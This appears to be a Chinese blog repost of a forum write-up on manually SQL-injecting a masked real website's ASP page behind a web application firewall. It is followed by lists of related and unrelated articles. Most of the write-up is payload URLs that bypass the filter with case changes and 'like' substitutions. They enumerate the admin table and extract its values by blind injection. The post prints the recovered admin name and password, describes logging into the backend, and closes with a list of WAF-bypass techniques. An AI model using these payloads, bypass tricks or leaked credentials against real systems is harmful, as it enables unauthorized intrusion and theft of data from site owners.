转载自sss安全论坛

目标站点:http://www.xxx.cn:88
注入点:
http://www.xxx.cn:88/new/details1.asp?n_id=49909
对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909

发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,

尝试大写like代替and

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2

可的结论,此waf并不能检测出大写语句,那么开始注入:
首先判断数据库:
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0
Ps(发现waf能检测出*,这里count(1)代替count(*))
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0
结论:是sqlsever数据库
猜解表名
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0
 
有表:admin
那么猜测表admin中的字段
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0
 
 
 
经过猜解得到 admin,user,password三个字段
猜解字长
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5
 
 
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:
 
 

... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3

猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录

心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||

这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。

一次手工注入waf [转载]的更多相关文章

  1. [转载] MySQL数据库5.X版本基本手工注入总结

    MySQL数据库5.X版本基本手工注入总结 根据我对MySQL的认识,注入时,基本可以通过爆.盲注.报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话we ...

  2. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  3. SQL注入之手工注入

    手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...

  4. baby sqli 联合查询加入数据 手工注入

    0x00 BabySQli 原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! 登陆页面,查看源码后点进search.php看到一段可疑的句子MMZFM42 ...

  5. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

  6. ASP+ACCESS手工注入详解

    SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下.高手略过. 我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的. 下面以这个网址为例: http://zsb.xx ...

  7. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  8. sqlServer2008 手工注入

    接着上一篇的<mysql手工注入> 参考:http://hi.baidu.com/ciqing_s/item/971bf994365130accc80e5ed http://hi.baid ...

  9. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

随机推荐

  1. AngularJS开发指南15:AngularJS的创建服务,将服务注入到控制器,管理服务依赖详解

    创建服务 虽然AngularJS提供了很多有用的服务,但是如果你要创建一个很棒的应用,你可能还是要写自己的服务.你可以通过在模块中注册一个服务工厂函数,或者通过Module#factory api或者 ...

  2. 自己在OC考试中的试题

      Objective-C考试 [关闭] ※ 选择题(共40题,每题2分) 1. 以下说法正确的是________. 答案:(C) A.alloc,retain,release,dealloc都会使对 ...

  3. 每天一个linux命令(32):wc命令

    Linux系统中的wc(Word Count)命令的功能为统计指定文件中的字节数.字数.行数,并将统计结果显示输出. 1.命令格式: wc [选项]文件... 2.命令功能: 统计指定文件中的字节数. ...

  4. oracle 简述

    1.数据库有很多的管理工具,Sqlplus是最好的管理工具. 2.sql语句是学习中最难的部分,如何编写出高效的sql 语句是我们的目标 3.oracle的日常最终要的工作就是备份,永远是备份,有数据 ...

  5. 【BZOJ 3732】 Network Kruskal重构树+倍增LCA

    Kruskal重构树裸题, Sunshine互测的A题就是Kruskal重构树,我通过互测了解到了这个神奇的东西... 理解起来应该没什么难度吧,但是我的Peaks连WA,,, 省选估计要滚粗了TwT ...

  6. BZOJ3098 Hash Killer II

    Description 这天天气不错,hzhwcmhf神犇给VFleaKing出了一道题: 给你一个长度为N的字符串S,求有多少个不同的长度为L的子串. 子串的定义是S[l].S[l + 1].... ...

  7. DLUTOJ 1209 字典序和r-子集

    传送门 Time Limit: 6 Sec  Memory Limit: 128 MBSubmit: 73  Solved: 14 Description Input 多组输入数据. 每组数据: 第一 ...

  8. VMware 11安装Mac OS X 10.11.5虚拟机以及优化心得

    随着苹果WWC大会退出了MAC最新版的10.11.5,本着一颗“极客”的心情,在第一时间用VMWARE虚拟机装上了.然后各种卡顿这里分享一下优化mac虚拟机的心得. 1 从Dock上移除Dashboa ...

  9. BC68(HD5606) 并查集+求集合元素

    tree  Accepts: 143  Submissions: 807  Time Limit: 2000/1000 MS (Java/Others)  Memory Limit: 65536/65 ...

  10. SVN服务器搭建--Subversio与TortoiseSVN的配置安装

    SVN服务器搭建和使用(一) Subversion是优秀的版本控制工具,其具体的的优点和详细介绍,这里就不再多说. 首先来下载和搭建SVN服务器. 现在Subversion已经迁移到apache网站上 ...